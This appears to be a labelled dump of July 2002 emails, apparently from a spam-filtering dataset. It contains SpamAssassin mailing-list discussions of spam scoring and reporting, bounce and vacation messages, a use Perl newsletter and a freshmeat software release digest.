""-- created by Blogger! --"" not found in page http://tbtf.com/blog/ SITE WARNING: ""the_onion.site"" line 5: LinksStart pattern """" not found in page http://www.theregister.co.uk/content/29/index.html SITE WARNING: ""user_friendly.site"" line 2: StoryStart pattern """" not found in page http://www.userfriendly.org/static/ SITE WARNING: ""weekly_news.site"" line 1: LinksStart pattern ""-- Leading stuff goes here --"" not found in page http://www.lwn.net/",0,1 Mail Delivery System ,yyyy@dogma.slashnull.org,"Wed, 24 Jul 2002 03:48:04 +0000",Mail delivery failure,"This message was created automatically by mail delivery software. A message that you sent could not be delivered to all of its recipients. The following message, addressed to 'meow1p654@epoq.demon.co.uk', failed because it has not been collected after 30 days Here is a copy of the first part of the message, including all headers. ---- START OF RETURNED MESSAGE ---- Received: from punt-2.mail.demon.net by mailstore for meow1p654@epoq.demon.co.uk id 1024819224:20:29436:23; Sun, 23 Jun 2002 08:00:24 GMT Received: from dogma.slashnull.org ([212.17.35.15]) by punt-2.mail.demon.net id aa2004348; 23 Jun 2002 8:00 GMT Received: (from yyyy@localhost) by dogma.slashnull.org (8.11.6/8.11.6) id g5N80GR10697 for meow1p654@epoq.demon.co.uk; Sun, 23 Jun 2002 09:00:16 +0100 Date: Sun, 23 Jun 2002 09:00:16 +0100 Message-Id: <200206230800.g5N80GR10697@dogma.slashnull.org> From: yyyy@spamassassin.taint.org (Justin Mason) Subject: away from my mail Precedence: junk [this mail is automatically generated by the 'vacation' program] I will not be reading my mail for a while -- in fact, I will be reading my mail very intermittently until June, as I'm travelling around the world. Your mail regarding ""Immediately Attract Women . PVWPJ"" will be read at that point. If you're writing about something NetNote-related, please contact Nicola McDonnell . SpamAssassin-related contact should be directed to the SpamAssassin-talk mailing list , or to Craig Hughes . Sitescooper-related mail should go to . WebMake-related stuff goes to, you guessed it, ;) I will (probably) read your mail eventually... but it will take a while. See you in June! --j. ---- END OF RETURNED MESSAGE ----",0,0 """Malte S. Stretz"" ",SpamAssassin Talk ML ,"Wed, 24 Jul 2002 01:42:23 +0200",[SAtalk] Why not upgrade to 2.40 today? (was: Re: [Fwd: Re: [Razor-users] can't find Razor/Client.pm]),"On Wednesday 24 July 2002 01:13 CET Theo Van Dinter wrote: > On Tue, Jul 23, 2002 at 03:55:35PM -0700, Kevin Gagel wrote: > > I'm thinking of following this advise too. Is there a good reason that > > I should not upgrad to the 2.40 at this time? > > Unless you feel like doing some development, the answer is: it's not > released and is considered ""use at your own risk"". :) And maybe because there isn't an official 2.40 yet. It's 2.40-cvs and changes from day to day. Or, to cite the page [1]: ""these are built nightly from CVS. They may be unstable!"". One and a half good reason :o) Malte [1]http://spamassassin.org/downloads.html -- -- Coding is art. -- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """Derrick 'dman' Hudson"" ",spamassassin-talk@example.sourceforge.net,"Tue, 23 Jul 2002 19:10:11 -0500",[SAtalk] Re: Reporting....,"--1yeeQ81UyVL57Vl7 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable On Tue, Jul 23, 2002 at 09:37:33AM -0500, Joel Epstein wrote: | I currently have spam being filtered for about 50 users via spamd.=20 | Works perfectly! However, is there anyone out there providing reports=20 | to their users about what was filetered? Maybe just something like=20 | date/time, From, and subject? I have such a system. It works like this : 1) sa-exim scans the message during the SMTP interaction 2) if it scores high enough it is rejected 2.1) if it is rejected, exim mentions that in the reject log 2.2) if it isn't rejected it is delivered 2.2.1) it is up to the user to deal with (filter as desired) the lower-scoring spam 3) I have a script run as a daily cron job to run through the reject log and deposit a report in the user's home directory indicating what was rejected and way (SA isn't the only cause for rejection) Obviously my setup is rather tied to exim and sa-exim, but if you want the reporting script I can send it to you. -D --=20 Micros~1 : For when quality, reliability and security just aren't that important! =20 http://dman.ddts.net/~dman/ --1yeeQ81UyVL57Vl7 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iEYEARECAAYFAj098GMACgkQO8l8XBKTpRSdOwCgqJ0hH/x1kyhw8T4tcr2iO0bj fmIAn14hxwcq8fit2RZFidifHufuC9qF =2GIQ -----END PGP SIGNATURE----- --1yeeQ81UyVL57Vl7-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Jason Haar ,spamassassin-talk@example.sourceforge.net,"Wed, 24 Jul 2002 12:27:02 +1200",Re: [SAtalk] Microsoft developer newsletter tagged as spam,"This MSDN mail thing reminds me of how I've documented this feature of SpamAssassin here so that our users understand it. I define ""Solicited Commercial Email"" vs ""Unsolicited Commercial Email"" - the latter being SPAM. As SpamAssassin basically looks for ""Commercial Email"", both get hit, and that's something they must understand. Our SA documentation further tells users to filter off their SCE before applying a SA rule - gets rid of 100% of the problem as the users know who is sending them SCE. -- Cheers Jason Haar Information Security Manager, Trimble Navigation Ltd. Phone: +64 3 9635 377 Fax: +64 3 9635 417 PGP Fingerprint: 7A2E 0407 C9A6 CAF6 2B9F 8422 C063 5EBB FE1D 66D1 ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Ross Vandegrift ,rODbegbie ,"Tue, 23 Jul 2002 21:00:08 -0400",Re: [SAtalk] Re: [SAdev] Scoring Yahoo Ads,"On Tue, Jul 23, 2002 at 03:43:24PM -0400, rODbegbie wrote: > > It's quite clear that most of this list does not consider > > all advertisement to be spam, particularly when attached to a valid > > personal email by a third-party service. > > Cool. So we're all in agreement then. Except for Marc. So what brilliant metric do you have in mind to measure unsolicited vs. solicited commercial email? I know I've registered for many commercial lists that send material that really reads like spam. Moreover, spammers will be able to circumvent SA if they make spam look like this SCE. This kind of convergence of the two.... well, it stinks. We can kill SCE, or we can cripple identification of UCE. Obviously an interim solution is to whitelist, but long term is probably harder. What kind of SCE, like MSDN newsletters, product updates, etc is in the corpus for the GA? Maybe seeding the corpus with a bigger set of these type of mails will have some interesting/useful results. Ross Vandegrift ross@willow.seitz.com ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 bob@proulx.com (Bob Proulx),spamassassin-talk@example.sourceforge.net,"Tue, 23 Jul 2002 19:19:27 -0600",Re: [SAtalk] Microsoft developer newsletter tagged as spam,"--PEIAKu/WMn1b1Hv9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline > PS I know my English isn't good, but... ""negative score added"", can > you really say that? Adding something negative... hmmm... Yes, that is perfectly legitimate. It is a math / accounting thing. You get a paycheck for $100. You get a bill for $20. You add them up. Some of the additions are negitive debit amounts. My bank statement always has a long list of + items and - items. If I can keep the + items more than the - items I am doing good. Bob --PEIAKu/WMn1b1Hv9 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.7 (GNU/Linux) iD8DBQE9PgCf0pRcO8E2ULYRAtnpAJ4j3rke5AmfV6FuJ0rvPvwwkEPWKwCff1CF 1VPYcaD2pk78qQXEfPMlRqw= =Qa5S -----END PGP SIGNATURE----- --PEIAKu/WMn1b1Hv9-- ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 Olivier Nicole ,joele@iws-irms.com,"Wed, 24 Jul 2002 08:43:50 +0700 (ICT)",Re: [SAtalk] Reporting....,">I currently have spam being filtered for about 50 users via spamd. >Works perfectly! However, is there anyone out there providing reports >to their users about what was filetered? Maybe just something like >date/time, From, and subject? Yup! You can check: http://www.cs.ait.ac.th/laboratory/email/quarantine.shtml Though it uses procmail! Olivier ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 MAILER-DAEMON@kciLink.com (Mail Delivery System),spamassassin-talk-admin@example.sourceforge.net,"Wed, 24 Jul 2002 00:00:06 -0400 (EDT)",Delayed Mail (still being retried),"This is a MIME-encapsulated message. --0A47D3EA4.1027483206/kci.kciLink.com Content-Description: Notification Content-Type: text/plain This is the Postfix program at host kci.kciLink.com. #################################################################### # THIS IS A WARNING ONLY. YOU DO NOT NEED TO RESEND YOUR MESSAGE. # #################################################################### Your message could not be delivered for 4.0 hours. It will be retried until it is 5.0 days old. For further assistance, please send mail to The Postfix program : connect to yertle.kcilink.com[216.194.193.105]: Operation timed out --0A47D3EA4.1027483206/kci.kciLink.com Content-Description: Delivery error report Content-Type: message/delivery-status Reporting-MTA: dns; kci.kciLink.com Arrival-Date: Tue, 23 Jul 2002 19:43:18 -0400 (EDT) Final-Recipient: rfc822; khera@kcilink.com Action: delayed Diagnostic-Code: X-Postfix; connect to yertle.kcilink.com[216.194.193.105]: Operation timed out Will-Retry-Until: Sun, 28 Jul 2002 19:43:18 -0400 (EDT) --0A47D3EA4.1027483206/kci.kciLink.com Content-Description: Undelivered Message Headers Content-Type: text/rfc822-headers Received: from localhost (localhost [127.0.0.1]) by kci.kciLink.com (Postfix) with ESMTP id 0A47D3EA4 for ; Tue, 23 Jul 2002 19:43:18 -0400 (EDT) Received: from kci.kciLink.com ([206.112.95.6]) by localhost (lorax.kciLink.com [127.0.0.1]) (amavisd-new) with SMTP id 50275-07 for ; Tue, 1e Jul 2002 19:43:17 -0000 (EDT) Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net [216.136.171.252]) by kci.kciLink.com (Postfix) with ESMTP id 056483E44 for ; Tue, 23 Jul 2002 19:43:16 -0400 (EDT) Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X9G9-0002hQ-00; Tue, 23 Jul 2002 16:40:05 -0700 Received: from mail.t-intra.de ([62.156.147.75] helo=mailc0911.dte2k.de) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17X9Fx-0003Nt-00 for ; Tue, 23 Jul 2002 16:39:54 -0700 Received: from mailc0908.dte2k.de ([10.50.185.8]) by mailc0911.dte2k.de with Microsoft SMTPSVC(5.0.2195.4453); Wed, 24 Jul 2002 01:38:54 +0200 Received: from nebukadnezar.msquadrat.de ([62.226.214.36]) by mailc0908.dte2k.de with Microsoft SMTPSVC(5.0.2195.4453); Wed, 24 Jul 2002 01:38:54 +0200 Received: from otherland (otherland.msquadrat.de [10.10.10.10]) by nebukadnezar.msquadrat.de (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 357113FC; Wed, 24 Jul 2002 01:39:46 +0200 (CEST) Content-Type: text/plain; charset=""iso-8859-1"" From: ""Malte S. Stretz"" To: SpamAssassin Talk ML User-Agent: KMail/1.4.2 References: <3D3DDEE7.2A07C357@cnc.bc.ca> <20020723231313.GB14564@kluge.net> In-Reply-To: <20020723231313.GB14564@kluge.net> Cc: Kevin Gagel X-Accept-Language: de, en MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Message-Id: <200207240142.23673@malte.stretz.eu.org> X-OriginalArrivalTime: 23 Jul 2002 23:38:54.0735 (UTC) FILETIME=[1B8161F0:01C232A2] Subject: [SAtalk] Why not upgrade to 2.40 today? (was: Re: [Fwd: Re: [Razor-users] can't find Razor/Client.pm]) Sender: spamassassin-talk-admin@example.sourceforge.net Errors-To: spamassassin-talk-admin@example.sourceforge.net X-BeenThere: spamassassin-talk@example.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: Talk about SpamAssassin List-Unsubscribe: , List-Archive: X-Original-Date: Wed, 24 Jul 2002 01:42:23 +0200 Date: Wed, 24 Jul 2002 01:42:23 +0200 X-Virus-Scanned: by amavisd-new amavisd-new-20020630 (@kci) X-Razor-id: 1aefed7c18b89a0962d66a6bd77b4df015ff0dc8 --0A47D3EA4.1027483206/kci.kciLink.com--",0,1 Klaus Heinz ,spamassassin-devel@example.sourceforge.net,"Wed, 24 Jul 2002 06:52:19 +0200",Re: [SAdev] Scoring Yahoo Ads,"From: Matt Kettler > Hmm, I think that Marc, being one of the most active and prolific posters > to this list, certainly understands SA much better than most. Certainly Frequency of messages does _not_ let you draw valid conclusions about the understanding of the issues at hand of the sender. IMHO it's sometimes even inversely proportional. > Marc is an active and prolific contributor to SA (gee, look, his name's > even in the credit's page on the website!). This should not impress you so much. At one time I even detected my name on that page and I contributed less than a handful of rather simple rules. That's not to say I don't appreciate Marc's contributions to the effort. But in his place I would have (hopefully :) reevaluated my arguments in the face of, as I saw it, massive rejection of his idea what constitutes spam. Maybe this list can return to discussing technical topics. Politics should go to spamassassin-talk. ciao Klaus ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-devel mailing list Spamassassin-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-devel",0,1 terry@ccis.net,spamassassin-talk@example.sourceforge.net,"Wed, 24 Jul 2002 01:01:04 -0400",[SAtalk] Terry Ryan/Chesco is out of the office.,"I will be out of the office starting 07/20/2002 and will not return until 07/29/2002. I will respond to your message when I return. If there is an immediate need to contact a CCIS representative, you can call our office at 610-518-5700. ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 """zenn"" ",,"Wed, 24 Jul 2002 22:47:49 +1000",[SAtalk] Sitewide Spam Filtering with Qmail ??,"Hi all... I'm new to SpamAssasin so I appologies if the question has been asked before. I'm thinking of setting up SA with my Qmail(Maildir) server acting as our gateway. It currently provides inline virus scanning and ORDB open relay filtering. Is it possible to setup SA to act as a sitewide Spam filter ? Is there any documentation on setting this up ? The Qmail server does not house any local mail accounts, it acts as a pure relay for our internal mail server, I am currently relaing mail for 8 internal domains... Suggestions would be appreciated. Regards Zenn ------------------------------------------------------- This sf.net email is sponsored by:ThinkGeek Welcome to geek heaven. http://thinkgeek.com/sf _______________________________________________ Spamassassin-talk mailing list Spamassassin-talk@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/spamassassin-talk",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Wed, 31 Jul 2002 02:00:22 +0000",[use Perl] Headlines for 2002-07-31,"use Perl Daily Headline Mailer Mac OS X Conference Registration Opens posted by ziggy on Monday July 29, @22:58 (events) http://use.perl.org/article.pl?sid=02/07/30/0317236 New Pumpking is Crowned posted by pudge on Tuesday July 30, @16:15 (releases) http://use.perl.org/article.pl?sid=02/07/30/2016230 Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. To stop receiving this and other messages from use Perl, or to add more messages or change your preferences, please go to your user page. http://use.perl.org/my/messages/ You can log in and change your preferences from there.",0,1 pudge@perl.org,yyyy-use-perl@spamassassin.taint.org,"Wed, 31 Jul 2002 02:00:29 +0000",[use Perl] Stories for 2002-07-31,"use Perl Daily Newsletter In this issue: * Mac OS X Conference Registration Opens * New Pumpking is Crowned +--------------------------------------------------------------------+ | Mac OS X Conference Registration Opens | | posted by ziggy on Monday July 29, @22:58 (events) | | http://use.perl.org/article.pl?sid=02/07/30/0317236 | +--------------------------------------------------------------------+ [0]gnat writes ""[1]Registration is now open for the O'Reilly [2]Mac OS X Conference. Look for sessions by Randal Schwartz and brian d foy (""[3]Programming Perl on Mac OS X""), Dan Sugalski (""[4]Programming Cocoa with Perl""), David Wheeler (""[5]Migrating from Linux to Mac OS X""), and many other people from the world of Perl."" Discuss this story at: http://use.perl.org/comments.pl?sid=02/07/30/0317236 Links: 0. mailto:gnat@oreilly.com 1. http://conferences.oreillynet.com/pub/w/19/register.html 2. http://conferences.oreillynet.com/macosx2002/ 3. http://conferences.oreillynet.com/cs/macosx2002/view/e_sess/3281 4. http://conferences.oreillynet.com/cs/macosx2002/view/e_sess/3114 5. http://conferences.oreillynet.com/cs/macosx2002/view/e_sess/3155 +--------------------------------------------------------------------+ | New Pumpking is Crowned | | posted by pudge on Tuesday July 30, @16:15 (releases) | | http://use.perl.org/article.pl?sid=02/07/30/2016230 | +--------------------------------------------------------------------+ [0]Dan writes ""One of the many things that's come out of this year's TPC is the appointment of a new Pumpking. No, not Hugo van der Sanden, who hopefully everyone knows is taking on the task of 5.9 and 5.10. No, I'm talking about the inimitable Michael Schwern, who's now holder of the perl 1 pumpkin and, I'm assured, is well on the way to a new maintenance release. Details are over on [1]dev.perl.org. Join the porters list and help Schwern out!"" Yes, he said ""perl 1"". Discuss this story at: http://use.perl.org/comments.pl?sid=02/07/30/2016230 Links: 0. http://yetanother.org/dan/ 1. http://dev.perl.org/perl1/ Copyright 1997-2002 pudge. All rights reserved. ====================================================================== You have received this message because you subscribed to it on use Perl. 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Based on abc2ps version 1.2.5, it was developed mainly to print baroque organ scores that have independant voices played on one or more keyboards, and a pedal-board. It introduces many extensions to the ABC language that make it suitable for classical music. Changes: Minor bugfixes were made. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/abcm2ps/ - % - % - % - % - [002] - amSynth 1.0 beta 5 by nixx uk (http://freshmeat.net/users/nixx2097/) Tuesday, July 30th 2002 10:52 Multimedia :: Sound/Audio :: Sound Synthesis About: amSynth is a realtime polyphonic analogue modeling synthesizer. It provides a virtual analogue synthesizer in the style of the classic Moog Minimoog/Roland Junos. It offers an easy-to-use interface and synth engine, while still creating varied sounds. It runs as a standalone application, using either the ALSA audio and MIDI sequencer system or the plain OSS devices. It can be played with an external MIDI controller keyboard, a software virtual keyboard, or through a MIDI sequencer. All parameters can be controlled over MIDI. Changes: The ALSA driver has been MMAPed for improved performance. Recordings are now output to .wav files. Minor performance tweaks have been made on the envelope generators, the build process, etc. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/amsynth/ - % - % - % - % - [003] - Calculating Pi First Release (Simple Harmonic Motion) by Sayan Chakraborti (http://freshmeat.net/users/sayanchak/) Tuesday, July 30th 2002 19:00 Scientific/Engineering :: Mathematics Scientific/Engineering :: Visualization About: ProjectPi is a project to calculate the mathematical constant Pi through various methods. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/projectpi/ - % - % - % - % - [004] - CbDockApp 1.00 by Chris Briscoe (http://freshmeat.net/users/cbriscoe/) Tuesday, July 30th 2002 18:56 Desktop Environment :: Window Managers :: Window Maker :: Applets About: CbDockApp is a C++ dock application class. To make your own dock application, just create a derived class with your application code. It comes with an example docked clock application. License: BSD License URL: http://freshmeat.net/projects/cbdockapp/ - % - % - % - % - [005] - cdinsert and cdlabelgen 2.4.0 (Stable) by Avinash Chopde (http://freshmeat.net/users/avinash1/) Tuesday, July 30th 2002 17:10 Text Processing About: cdlabelgen is a Perl script that generates printouts suitable for use as CD jewel case inserts or CD envelopes. Both normal sized cases and slim cases are handled. cdlabelgen can be used to create table of contents for music CDs, archival CDs, etc., with customizable logos or background images, and it generates PostScript files as output. The package also includes a Perl CGI Web script which accepts JPEG images as logos or backgrounds, and can also create PDF output files. Changes: It is now possible to specify line width for the cover/tray edges or to omit edge lines entirely. Control over logo placement has been added: logos can now be moved and scaled as required on the output. Support for A4 page printouts has been added. License: BSD License URL: http://freshmeat.net/projects/cdinsert/ - % - % - % - % - [006] - cdrecord 1.11a28 by Jrg Schilling (http://freshmeat.net/users/schily/) Tuesday, July 30th 2002 10:53 Multimedia :: Sound/Audio :: CD Audio :: CD Ripping Multimedia :: Sound/Audio :: CD Audio :: CD Writing System :: Archiving About: Cdrecord creates home-burned CDs with a CD-R/CD-RW recorder. It works as a burn engine for several applications. Cdrecord supports CD recorders from many different vendors; all SCSI-3/mmc and ATAPI/mmc compliant drives should also work. Supported features include IDE/ATAPI, parallel-port, and SCSI drives, audio CDs, data CDs, and mixed CDs, full multi-session support, CD-RWs (rewritable), TAO, DAO and human-readable error messages. Cdrecord includes remote SCSI support and can access local or remote CD-writers. Changes: cdrecord now writes MCN/ISRC even in RAW mode. A bug that caused cdrecord to write wrong relative time stamps into the pregap of audio CDs when writing in RAW mode with pregapsize !=0 has been fixed. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/cdrecord/ - % - % - % - % - [007] - Cell Phone SMS AIM 1.6 by jason swan (http://freshmeat.net/users/ZypLocc/) Tuesday, July 30th 2002 20:32 Communications :: Chat Communications :: Chat :: AOL Instant Messenger Communications :: Internet Phone About: Cell Phone SMS AIM uses the Net::AIM Perl module available from CPAN, signs on a screen name, and routes messages to your cell phone via SMS. It also requires lynx. Changes: Two more providers and a bugfix. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/cellaim/ - % - % - % - % - [008] - CherryPy 0.4 by Remi Delon (http://freshmeat.net/users/rdelon/) Tuesday, July 30th 2002 10:36 Internet :: WWW/HTTP :: Dynamic Content About: CherryPy is a Python-based tool for developing dynamic Web sites. It sits between a compiler and an application server. Compiling source files generates an executable containing everything to run the Web site, including an HTTP server. CherryPy lets you develop your Web site in an object-oriented way, using both regular Python and a templating language. It also comes with a handy standard library for things like cookie-based authentication, form handling, HTTP authentication, etc. Changes: This release adds built-in caching capability and some compiler optimization. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/cherrypy/ - % - % - % - % - [009] - Chronos 1.1.1 by Simon Perreault (http://freshmeat.net/users/nomis80/) Tuesday, July 30th 2002 17:09 Internet :: WWW/HTTP :: Dynamic Content Office/Business :: Scheduling About: Chronos is a Web agenda calendar for intranets, although it can be used from anywhere. It can send reminders by email, and it allows you to schedule multi-user events. It is fast and light on resources. The balance between size and speed can be tweaked by tweaking mod_perl and Apache. Changes: This release fixes some bugs with the new holidays feature and a crash that would occur sometimes when viewing events with reminders. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/chronos/ - % - % - % - % - [010] - CLIP 0.99.4 by Uri Hnykin (http://freshmeat.net/users/Uri/) Tuesday, July 30th 2002 17:00 Database Database :: Database Engines/Servers Internet :: WWW/HTTP :: Dynamic Content :: CGI Tools/Libraries About: CLIP is a Clipper/XBase compatible compiler with initial support for FoxPro, Flagship, and CAVO syntax. It supports Linux, FreeBSD, OpenBSD, and Win32 (via Cygwin). It features support for international languages and character sets, including two-bytes character sets like Chinese and Japanese. It also features OOP, a multiplatform GUI based on GTK/GTKextra, all SIX/Comix features (including hypertext indexing), SQL, a C-API for third-party developers, a few wrappers for popular libraries (such as BZIP, GZIP, GD, Crypto, and Fcgi), multitasking, mouse events, and more. Changes: There are many fixes for compatibility. An Interbase (Firebird) client has been added. There are new FiveWin-like functions and classes. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/clip/ - % - % - % - % - [011] - countertrace 1.0 by Michael C. Toren (http://freshmeat.net/users/mct/) Tuesday, July 30th 2002 00:43 Internet About: countertrace is a userland iptables QUEUE target handler for Linux 2.4 kernels running Netfilter. It attempts to give the illusion that there are multiple, imaginary IP hops between itself and the rest of the world. The imaginary hops that countertrace projects also have the ability to introduce accumulative, imaginary latency. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/countertrace/ - % - % - % - % - [012] - CRWInfo 0.2 by Sven Riedel (http://freshmeat.net/users/srd/) Tuesday, July 30th 2002 18:37 Multimedia :: Graphics :: Capture :: Digital Camera About: CRWInfo extracts thumbnails and exposure information from Canon's proprietary .crw RAW files, which can be output by certain of Canons digital cameras. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/crwinfo/ - % - % - % - % - [013] - DaDaBIK 2.1 beta by Eugenio (http://freshmeat.net/users/eugenio/) Tuesday, July 30th 2002 18:36 Database :: Front-Ends About: DaDaBIK is a PHP application that allows you to easily create a highly customizable Web interface for a MySQL database in order to search, insert, update, and delete records; all you need do is specify a few configuration parameters. It is available in English, Italian, Dutch, German, Spanish, and French. Changes: A new, lighter, and easier to use administration interface (related to the internal table manager) is now available. The form now has a better layout, and all the fields are correctly aligned, including dates. All the translations are now up-to-date. It is now possible, for select_single fields, to choose ""other"" during an insert and fill a textbox by hand with an alternative value. That value will update the select options, unless the option has been driven with a custom query (""SQL:......""). It is now possible to choose whether a field has to be displayed on the details page. Other changes and bugfixes have been added. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/dadabik/ - % - % - % - % - [014] - Danpei 2.8.2 (Stable) by peace24 (http://freshmeat.net/users/peace24/) Tuesday, July 30th 2002 11:01 About: Danpei is a GTK+ based image viewer. It allows you to browse through your image files in thumbnail form, and it can rename, cut, and paste them easily with an interface similar to that of Windows Explorer. Changes: This release fixes the bug that caused the progressbar dialog to not be displayed when dragging and dropping and the bug that, in some cases, caused Gtk-WARNING to be displayed when cutting and pasting. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/danpei/ - % - % - % - % - [015] - dchub 0.1.2 by Eric (http://freshmeat.net/users/icemanbs/) Tuesday, July 30th 2002 05:32 Communications :: File Sharing About: dchub is a Direct Connect hub clone. It resembles an IRC server with some extra features dedicated to file sharing. Changes: Minor bugs were fixed in the decoding of the MHUBLIST key, in the Perl script handling dc++ clients, and in the hub registration function. Python scripting was added. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/dchub/ - % - % - % - % - [016] - Distributed Checksum Clearinghouse 1.1.8 by Vernon Schryver (http://freshmeat.net/users/vjs/) Tuesday, July 30th 2002 13:04 Communications :: Email Communications :: Email :: Filters About: Distributed Checksum Clearinghouse (DCC) is a system of clients and servers that collect and count checksums related to mail messages. The counts can be used by SMTP servers and mail user agents to detect and reject bulk mail. DCC servers can exchange common checksums. The checksums include values that are ""fuzzy"", or constant across common variations in bulk messages. Changes: A fix for ""invalid database address"" problems on SPARC systems, and other changes. License: Freely Distributable URL: http://freshmeat.net/projects/dcc-source/ - % - % - % - % - [017] - dnstracer 1.6 by Edwin Groothuis (http://freshmeat.net/users/mavetju/) Tuesday, July 30th 2002 10:43 Internet :: Name Service (DNS) System :: Networking Utilities About: dnstracer determines where a given Domain Name Server (DNS) gets its information from, and follows the chain of DNS servers back to the servers which know the data. Changes: This release adds support for SOA records. License: BSD License URL: http://freshmeat.net/projects/dnstracer/ - % - % - % - % - [018] - Document Manager 2.0-pre1 (Development) by Dobrica Pavlinusic (http://freshmeat.net/users/dpavlin/) Tuesday, July 30th 2002 05:28 Internet :: WWW/HTTP Internet :: WWW/HTTP :: Site Management Office/Business About: Document Manager is a document management system with the ability to check-in/check-out documents, track changes, and support multiple users. It supports all usual operations (rename, delete, view, edit) and comes with optional support for a secure HTTP server. Changes: This development release is probably not ready for production yet, but contains new features, including a repository which is not in the Web server tree, an ACL implementation called trustee, and new documentation. It works with register_globals off in PHP. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/docman/ - % - % - % - % - [019] - dougnet 1.0 by Doug (http://freshmeat.net/users/dougedoug/) Tuesday, July 30th 2002 02:17 Internet About: dougnet is a collection of useful functions to helping programmers make their programs network enabled quickly and easily. It can be directly embedded into a program, creating no hassle for users. It is highly portable and very easy to use. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/dougnet/ - % - % - % - % - [020] - Dump/Restore 0.4b31 by Stelian Pop (http://freshmeat.net/users/spop/) Tuesday, July 30th 2002 12:57 System :: Archiving :: Backup System :: Archiving :: Compression System :: Filesystems About: The dump package contains both dump and restore. Dump examines files in a filesystem, determines which ones need to be backed up, and copies those files to a specified disk, tape or other storage medium. The restore command performs the inverse function of dump; it can restore a full backup of a filesystem. Subsequent incremental backups can then be layered on top of the full backup. Single files and directory subtrees may also be restored from full or partial backups. Changes: This release fixes a bug (introduced with 0.4b29) which prevented the use of a remote tape drive. License: BSD License URL: http://freshmeat.net/projects/dumprestore/ - % - % - % - % - [021] - DungeonMaker 2.01 by henningsen (http://freshmeat.net/users/henningsen/) Tuesday, July 30th 2002 18:22 About: The DungeonMaker is a program/class library that generates random dungeons and labyrinths using artificial life methods. It can be used for pen-and-paper roleplaying, but is mostly intended to generate random maps for computer role playing games. Changes: This is a complete rewrite that improves labyrinth creation and introduces dungeon creation and placement of treasure and MOBs. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/dungeonmaker/ - % - % - % - % - [022] - File Roller 2.0.0 by HPG (http://freshmeat.net/users/paobac/) Tuesday, July 30th 2002 06:19 System :: Archiving About: File Roller is an archive manager for the GNOME environment. As an archive manager, it can create and modify archives, view the content of an archive, view a file contained in the archive, and extract files from the archive. File Roller is only a frontend (a graphical interface) to archiving programs like tar and zip. Changes: Ported to GNOME 2, added an option to view the destination folder after extraction, rearranged the menus, and added mnemonics to all dialogs. Nautilus is now used as the document viewer. License: GNU General Public License (GPL) URL: http://freshmeat.net/projects/fileroller/ - % - % - % - % - [023] - FrontStella 1.2 by James de Oliveira (http://freshmeat.net/users/herege/) Tuesday, July 30th 2002 00:11 System :: Emulators About: FrontStella is 